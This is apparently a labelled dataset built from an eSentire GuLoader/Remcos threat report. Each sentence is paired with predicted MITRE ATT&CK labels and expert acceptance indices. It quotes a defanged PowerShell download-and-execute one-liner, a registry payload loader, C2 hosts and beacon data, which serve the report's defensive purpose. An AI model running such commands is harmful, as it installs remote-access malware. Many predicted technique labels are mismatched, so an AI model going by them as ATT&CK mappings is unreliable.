At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.	[{'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1490', 'technique': 'Ingress Tool Monitoring'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal from Tools'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	5	[0, 1, 2, 3, 4]
We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.	[{'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1539', 'technique': 'Data from Cloud Storage Object'}, {'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'},	4	[0, 1, 2, 3]

	{'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1115', 'technique': 'Network Sniffing'}, {'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1016', 'technique': 'System Network Configuration Discovery'}]		
Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.	[{'taid': 'T1102', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	1	[0]
GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as infostealers and Remote Access Trojans (RATs). The loader contains multiple stages of shellcode and is known for being one of the most advanced loaders with numerous anti-analysis techniques.	[{'taid': 'T1074', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Removable Media'}, {'taid': 'T1074', 'tactic': 'Collection', 'tid': 'T1039', 'technique': 'Data from Network Shared Drive'}]	2	[0, 1]
In March 2022, TRU observed GuLoader targeting the financial sector via the phishing email using a tax-themed lure.	[{'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1201', 'technique': 'Password Spraying'}, {'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[0, 1]
The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected ZIP archive (Figure 1).	[{'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Delivery', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[0, 1]
The ZIP archive contains a decoy image and a shortcut file disguised as a PDF (Figure 2).	[{'taid': 'T1027', 'tactic':	2	[0, 1]

	'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}]		
The shortcut file leverages PowerShell to retrieve additional payloads from the website.	[{'taid': 'T1203', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	2	[0, 1]
Here is the example of the spawned PowerShell one-liner command:"powershell.exe n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/BlotIg.vbs -OutFile C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile C:\Users\Public\details.pdf; C:\Users\Public\details.pdf	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	1	[0]
The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.	[{'taid': 'T1105', 'tactic': 'Execution', 'tid': 'T1197', 'technique': 'BITS Jobs'}, {'taid': 'T1105', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'T1105', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	3	[0, 1, 2]
Then the decoy PDF file is fetched and saved under the C:\Users\Public folder as details.pdf.	[{'taid': 'T1105', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Removable Media'}, {'taid': 'T1105',	2	[0, 1]

	'tactic': 'Collection', 'tid': 'T1025', 'technique': 'Data from Local System'}]		
The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys and executing the GuLoader payload via PowerShell (Figures 5-6).	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'T1035', 'tactic': 'Execution', 'tid': 'T1035', 'technique': 'Service Execution'}]	2	[0, 1]
GuLoader achieves persistence via Registry Run Keys (Figure 7).	[{'taid': 'T1543', 'tactic': 'Persistence', 'tid': 'T1543', 'technique': 'Create or Modify System Process'}, {'taid': 'T1543', 'tactic': 'Persistence', 'tid': 'T1543', 'technique': 'Injected Process'}]	2	[0, 1]
%SaltoQ% -w 1 $Returkuverter=(Get-ItemProperty -Path 'HKCU:\State\').Parlando;%SaltoQ% ($Returkuverter)	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Standard Application Layer Protocol'}]	2	[0, 1]
The "State" registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in memory (Figure 8).	[{'taid': 'T1547', 'tactic': 'Persistence', 'tid': 'T1055', 'technique': 'Process Injection'}]	1	[0]
The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9).	[{'taid': 'T1027', 'tactic': 'Discovery', 'tid': 'T1027', 'technique': 'Obfuscated	2	[0, 1]

	Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
The first 647 bytes of the shellcode are responsible for decoding the second part of the shellcode, which is the rest of the shellcode (Figure 10).	[{'taid': 'T1024', 'tactic': 'Execution', 'tid': 'T1024', 'technique': 'Custom Cryptographic Protocol'}, {'taid': 'T1024', 'tactic': 'Execution', 'tid': 'T1024', 'technique': 'Compiled HTML File'}]	2	[0, 1]
The shellcode retrieves the Remcos RAT from the web server (hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe process.	[{'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1043', 'tactic': 'Defense Evasion', 'tid': 'T1043', 'technique': 'Windows Management Instrumentation Event Subscription'}]	2	[0, 1]
Example of the data extracted from memory which is being sent to Remcos C2 from a sandbox environment:||US|Windows 10 Enterprise (64 bit)|4294430720|4.4.0 Pro|C:\\AppData\Roaming\urtfghn.dat|C:\Program Files (x86)\internet explorer\ieinstal.exe|Filter|1|281|8314921|0|xlongactive[.]su|urtfghn-W5RHNP|0|C:\Program Files (x86)\internet explorer\ieinstal.exe|Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz|Exe|	[{'taid': 'T1003', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Data Transfer to Cloud Storage'}]	1	[0]
xlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0||urtfghn-W5RHNP|1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0|1|Remcos|092D17FEBC648A7C02A13113CDC4F590|0|0|	[{'taid': 'T1001', 'tactic': 'Command and Control', 'tid': 'T1001', 'technique': 'Data Obfuscation'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application	2	[0, 1]

	Layer Protocol'}]		
eSentire's MDR for Endpoint identified execution behavior associated with GuLoader.	[{'taid': 'T1547', 'tactic': 'Persistence', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1002', 'tactic': 'Discovery', 'tid': 'T1002', 'technique': 'Query Registry'}]	2	[0, 1]
Further infection was prevented by eSentire's MDR for Endpoint.	[{'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Stop'}, {'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Disable'}]	2	[0, 1]
Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions, isolating the infected host on the customer's behalf and alerting the customer to the malicious activity.	[{'taid': 'T1480', 'tactic': 'Defense Evasion', 'tid': 'T1480', 'technique': 'File Deletion'}, {'taid': 'T1490', 'tactic': 'Defense Evasion', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'T1490', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0, 1, 2, 3]
Tax-themed phishing lures are a popular tactic used by cybercriminals during tax season to plant malware and steal sensitive information from unsuspecting victims.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Once the malware is installed, attackers can access the victim's system and data, allowing them to conduct further attacks.	[{'taid': 'T1134', 'tactic': 'Collection',	3	[0, 1, 2]

	'tid': 'T1134', 'technique': 'Access Token Manipulation'}, {'taid': 'T1486', 'tactic': 'Collection', 'tid': 'T1486', 'technique': 'Clipboard Data'}, {'taid': 'T1567', 'tactic': 'Collection', 'tid': 'T1567', 'technique': 'Web Session Cookie'}]		
Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective way to trick users into executing malicious code on the machine.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}]	2	[0, 1]
The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to drop and inject additional malware, such as Remcos RAT, into a legitimate process, making it difficult to detect. Injecting the code into a legitimate process helps the malware evade antivirus software and other security tools.	[{'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
Password-protected zip archives can be an efficient way to bypass email filters and antiviruses.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Link'}, {'taid': 'T1202', 'tactic':	6	[0, 1, 2, 3, 4, 5]

	'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}, {'taid': 'T1140', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'T1183', 'tactic': 'Defense Evasion', 'tid': 'T1183', 'technique': 'Software Packing'}]		
By compressing a file into a password-protected archive, the file becomes more difficult for antiviruses and email filters to scan and analyze since they cannot scan the contents of the archive without the correct password.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1202', 'tactic': 'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}, {'taid': 'T1183', 'tactic': 'Defense Evasion', 'tid': 'T1183', 'technique': 'Software Packing'}]	4	[0, 1, 2, 3]
Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes. Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Protect endpoints against malware by: Ensuring antivirus signatures are up-to-date. Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.	[{'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Stop'}, {'taid': 'T1489', 'tactic': 'Execution',	4	[0, 1, 2, 3]

	'tid': 'T1489', 'technique': 'Service Disable'}, {'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Execution'}, {'taid': 'T1562', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]		
Blotlg.vbs **d79593a6fb6c636a50334085b9d6018b** **info.pdf** **cc6440a764050a8adf530efe2a989d25** **PowerShell obfuscated script** **d2b6255b7076eb754921121489804fee** **Shellcode** **dfb72ba81b0f765d1676f856d6af82c7** **Decrypted shellcode** **d7baac59e5aa6122621c31f0afb49119**	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1503', 'tactic': 'Execution', 'tid': 'T1503', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'T1140', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'T1074', 'tactic': 'Persistence', 'tid': 'T1074', 'technique': 'Data Encoding'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027',	12	[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]

	'technique': 'Obfuscated Files or Information'}, {'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
C2 (opendir) **109.206.240[.]67** **Remcos RAT C2** **xlongactive[.]su** **Password-protected ZIP archive** **fa0b3b0e5b7b5aa9a2da7bebbc15ab0e944d984b**	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or	5	[0, 1, 2, 3, 4]

	Information'}, {'taid': 'T1102', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}, {'taid': 'T1562', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]		
eSentire's Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.	[{'taid': 'T1580', 'tactic': 'Adversary Opsec', 'tid': 'T1580', 'technique': 'Avoid Suspicious Tools'}, {'taid': 'T1582', 'tactic': 'Adversary Opsec', 'tid': 'T1582', 'technique': 'Use Alternate Authentication Material'}, {'taid': 'T1204', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}]	3	[0, 1, 2]
If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption.	[{'taid': 'T1583', 'tactic': 'Impersonation', 'tid': 'T1583', 'technique': 'Service Application Layer Protocol'}, {'taid': 'T1574', 'tactic': 'Defend', 'tid': 'T1574', 'technique': 'Threat Intelligence'}, {'taid': 'T1038', 'tactic': 'Credential Access', 'tid': 'T1038', 'technique': 'Authentication Token'}]	3	[0, 1, 2]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
Adversaries don't work 9-5 and neither do we.	[{'taid': 'T1020', 'tactic': 'Initial Access', 'tid': 'T1078', 'technique': 'Valid Accounts'}]	1	[]
At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.	[{'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1490', 'technique': 'Ingress Tool Monitoring'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal from Tools'}, {'taid': 'T1107', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	5	[]
We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.	[{'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1539', 'technique': 'Data from Cloud Storage Object'}, {'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'},	4	[]

	{'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1115', 'technique': 'Network Sniffing'}, {'taid': 'T1205', 'tactic': 'Collection', 'tid': 'T1016', 'technique': 'System Network Configuration Discovery'}]		
Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.	[{'taid': 'T1102', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	1	[]
GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as infostealers and Remote Access Trojans (RATs). The loader contains multiple stages of shellcode and is known for being one of the most advanced loaders with numerous anti-analysis techniques.	[{'taid': 'T1074', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Removable Media'}, {'taid': 'T1074', 'tactic': 'Collection', 'tid': 'T1039', 'technique': 'Data from Network Shared Drive'}]	2	[]
In March 2022, TRU observed GuLoader targeting the financial sector via the phishing email using a tax-themed lure.	[{'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1201', 'technique': 'Password Spraying'}, {'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[1]
The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected ZIP archive (Figure 1).	[{'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Delivery', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[0, 1]
The ZIP archive contains a decoy image and a shortcut file disguised as a PDF (Figure 2).	[{'taid': 'T1027', 'tactic':	2	[]

	'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1566', 'tactic': 'Collection', 'tid': 'T1566', 'technique': 'Phishing'}]		
The shortcut file leverages PowerShell to retrieve additional payloads from the website.	[{'taid': 'T1203', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	2	[1]
Here is the example of the spawned PowerShell one-liner command:"powershell.exe n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/BlotIg.vbs -OutFile C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile C:\Users\Public\details.pdf; C:\Users\Public\details.pdf	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}]	1	[0]
The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.	[{'taid': 'T1105', 'tactic': 'Execution', 'tid': 'T1197', 'technique': 'BITS Jobs'}, {'taid': 'T1105', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'T1105', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	3	[]
Then the decoy PDF file is fetched and saved under the C:\Users\Public folder as details.pdf.	[{'taid': 'T1105', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Removable Media'}, {'taid': 'T1105',	2	[]

	'tactic': 'Collection', 'tid': 'T1025', 'technique': 'Data from Local System'}]		
The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys and executing the GuLoader payload via PowerShell (Figures 5-6).	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'T1035', 'tactic': 'Execution', 'tid': 'T1035', 'technique': 'Service Execution'}]	2	[1]
GuLoader achieves persistence via Registry Run Keys (Figure 7).	[{'taid': 'T1543', 'tactic': 'Persistence', 'tid': 'T1543', 'technique': 'Create or Modify System Process'}, {'taid': 'T1543', 'tactic': 'Persistence', 'tid': 'T1543', 'technique': 'Injected Process'}]	2	[]
%SaltoQ% -w 1 $Returkuverter=(Get-ItemProperty -Path 'HKCU:\State\').Parlando;%SaltoQ% ($Returkuverter)	[{'taid': 'T1059', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Standard Application Layer Protocol'}]	2	[0]
The "State" registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in memory (Figure 8).	[{'taid': 'T1547', 'tactic': 'Persistence', 'tid': 'T1055', 'technique': 'Process Injection'}]	1	[]
The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9).	[{'taid': 'T1027', 'tactic': 'Discovery', 'tid': 'T1027', 'technique': 'Obfuscated	2	[0, 1]

	Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
The first 647 bytes of the shellcode are responsible for decoding the second part of the shellcode, which is the rest of the shellcode (Figure 10).	[{'taid': 'T1024', 'tactic': 'Execution', 'tid': 'T1024', 'technique': 'Custom Cryptographic Protocol'}, {'taid': 'T1024', 'tactic': 'Execution', 'tid': 'T1024', 'technique': 'Compiled HTML File'}]	2	[]
The shellcode retrieves the Remcos RAT from the web server (hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe process.	[{'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1043', 'tactic': 'Defense Evasion', 'tid': 'T1043', 'technique': 'Windows Management Instrumentation Event Subscription'}]	2	[]
Example of the data extracted from memory which is being sent to Remcos C2 from a sandbox environment:||US|Windows 10 Enterprise (64 bit)|4294430720|4.4.0 Pro|C:\\AppData\Roaming\urtfghn.dat|C:\Program Files (x86)\internet explorer\ieinstal.exe|Filter|1|281|8314921|0|xlongactive[.]su|urtfghn-W5RHNP|0|C:\Program Files (x86)\internet explorer\ieinstal.exe|Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz|Exe|	[{'taid': 'T1003', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Data Transfer to Cloud Storage'}]	1	[]
xlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0||urtfghn-W5RHNP|1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0|1|Remcos|092D17FEBC648A7C02A13113CDC4F590|0|0|	[{'taid': 'T1001', 'tactic': 'Command and Control', 'tid': 'T1001', 'technique': 'Data Obfuscation'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application	2	[]

	Layer Protocol'}]		
eSentire's MDR for Endpoint identified execution behavior associated with GuLoader.	[{'taid': 'T1547', 'tactic': 'Persistence', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1002', 'tactic': 'Discovery', 'tid': 'T1002', 'technique': 'Query Registry'}]	2	[]
Further infection was prevented by eSentire's MDR for Endpoint.	[{'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Stop'}, {'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Disable'}]	2	[]
Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions, isolating the infected host on the customer's behalf and alerting the customer to the malicious activity.	[{'taid': 'T1480', 'tactic': 'Defense Evasion', 'tid': 'T1480', 'technique': 'File Deletion'}, {'taid': 'T1490', 'tactic': 'Defense Evasion', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'T1490', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[]
Tax-themed phishing lures are a popular tactic used by cybercriminals during tax season to plant malware and steal sensitive information from unsuspecting victims.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Once the malware is installed, attackers can access the victim's system and data, allowing them to conduct further attacks.	[{'taid': 'T1134', 'tactic': 'Collection',	3	[]

	'tid': 'T1134', 'technique': 'Access Token Manipulation'}, {'taid': 'T1486', 'tactic': 'Collection', 'tid': 'T1486', 'technique': 'Clipboard Data'}, {'taid': 'T1567', 'tactic': 'Collection', 'tid': 'T1567', 'technique': 'Web Session Cookie'}]		
Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective way to trick users into executing malicious code on the machine.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}]	2	[]
The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to drop and inject additional malware, such as Remcos RAT, into a legitimate process, making it difficult to detect. Injecting the code into a legitimate process helps the malware evade antivirus software and other security tools.	[{'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
Password-protected zip archives can be an efficient way to bypass email filters and antiviruses.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Link'}, {'taid': 'T1202', 'tactic':	6	[0, 1]

	'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}, {'taid': 'T1140', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'T1183', 'tactic': 'Defense Evasion', 'tid': 'T1183', 'technique': 'Software Packing'}]		
By compressing a file into a password-protected archive, the file becomes more difficult for antiviruses and email filters to scan and analyze since they cannot scan the contents of the archive without the correct password.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1202', 'tactic': 'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}, {'taid': 'T1183', 'tactic': 'Defense Evasion', 'tid': 'T1183', 'technique': 'Software Packing'}]	4	[0, 1]
Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes. Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Protect endpoints against malware by: **Ensuring antivirus signatures are up-to-date.** **Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.**	[{'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Stop'}, {'taid': 'T1489', 'tactic': 'Execution',	4	[]

	'tid': 'T1489', 'technique': 'Service Disable'}, {'taid': 'T1489', 'tactic': 'Execution', 'tid': 'T1489', 'technique': 'Service Execution'}, {'taid': 'T1562', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]		
Blotlg.vbs **d79593a6fb6c636a50334085b9d6018b** **info.pdf** **cc6440a764050a8adf530efe2a989d25** **PowerShell obfuscated script** **d2b6255b7076eb754921121489804fee** **Shellcode** **dfb72ba81b0f765d1676f856d6af82c7** **Decrypted shellcode** **d7baac59e5aa6122621c31f0afb49119**	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Spearphishing Attachment'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1503', 'tactic': 'Execution', 'tid': 'T1503', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'T1140', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'T1074', 'tactic': 'Persistence', 'tid': 'T1074', 'technique': 'Data Encoding'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027',	12	[]

